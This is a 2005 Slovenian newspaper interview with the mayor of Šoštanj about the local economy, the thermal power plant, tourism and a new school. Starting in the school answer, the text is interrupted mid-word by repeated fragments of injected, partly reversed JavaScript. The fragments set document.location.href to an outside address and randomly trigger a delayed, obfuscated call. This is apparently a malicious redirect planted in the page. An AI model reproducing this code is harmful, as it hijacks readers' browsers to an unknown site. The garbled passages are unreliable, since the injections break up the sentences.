Pogovor z županom Šoštanja Milanom Kopušarjem: Ne bojte se Šoštanja
FINANCE, 17.10.2005:
(INTERVJU) Pogovor z županom Šoštanja Milanom Kopušarjem: Ne bojte se Šoštanja
Občina Šoštanj je gospodarsko močno povezana tudi s sosednjim Velenjem. V tej dolini se ob velikih gospodarskih družbah, kot so Gorenje, Premogovnik Velenje in Termoelektrarna Šoštanj, dobro razvijajo tudi manjši in srednji podjetniki.
Kako bi ocenili gospodarske razmere občine Šoštanj?
Na gospodarstvo pri nas dobro vpliva prihod Gorenja, d.d., ki je tukaj odprlo svoj obrat, v katerem je zaposlenih približno 450 ljudi. Glede na velike gospodarske družbe bi si upal trditi, da je Šoštanj gospodarsko precej dobro razvit.
Pa vendar se Šoštanj enači s Termoelektrarno …
Tu bi rad poudaril, da se mnogi, ko slišijo za Termoelektrarno, Šoštanja ½prestrašijo½, a tukaj v zadnjem času industrija in narava delujeta z roko v roki, tako da se v naši občini dobro razvija tudi turizem. Najbolj znane so Terme Topolšica, preostalo pa je predvsem izletniški turizem, zanimivo se je ustaviti na številnih kmetijah odprtih vrat ali kmečkem turizmu.
V čem je vaš prispevek Sloveniji, poleg Termoelektrarne?
Šoštanju manjka manjših podjetij, ki bi stabilizirala lokalno gospodarstvo
Razumljivo je, da je Termoelektrarna izrednega pomena, saj z električno energijo oskrbuje približno tretjino Slovenije. Poleg tega je TEŠ pomembno prispevala k razvoju čistilnih naprav, njeni negativni vplivi na okolje so čedalje manjši, kar se mi zdi še posebej pomembno. Menim, da je Šoštanj dokaz, da lahko velike industrijske družbe dobro delujejo v svojem okolju in mu tudi veliko vračajo.
Pred kratkim ste odprli tudi novo osnovno šolo. Kolikšna je bila investicija?
To je pravzaprav pika na i naših prizadevanj v zadnjih letih. Učenci so prvič sedli v nove učilnice 1. septembra. Ta objekt vsakomur, ki ga vidi, vzame sapo. Šola je svetla in prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torna in omogoča res odlične pogoje za delo učencev in učiteljev. Gre za eno izmed večjih šol v Sloveniji, letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos je vanjo vpisanih 754 učencev na matični šoli (61 na treh podružnicah). Celotna investicija (šola in športna dvorana) pa je vredna več kot dve milijardi tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolarjev.
Kakšen pa je razvoj malih in srednjih podjetij?
Morda Šoštanju manjka ravno tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. Še nekaj manjših in predvsem srednjih podjetij, ki bi stabilizirala tukajšnje gospodarstvo, predvsem pa zmanjšala odvisnost od prej omenjenih velikih gospodarskih družb. Z boljšo organiziranostjo zveze in nekaterih društev bi lahko več naredili v turizmu, ker imamo res pogoje za tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. Nekaj več bi lahko naredili za starejše občane, mogoče kakšne delavnice in podobno.




0 Comments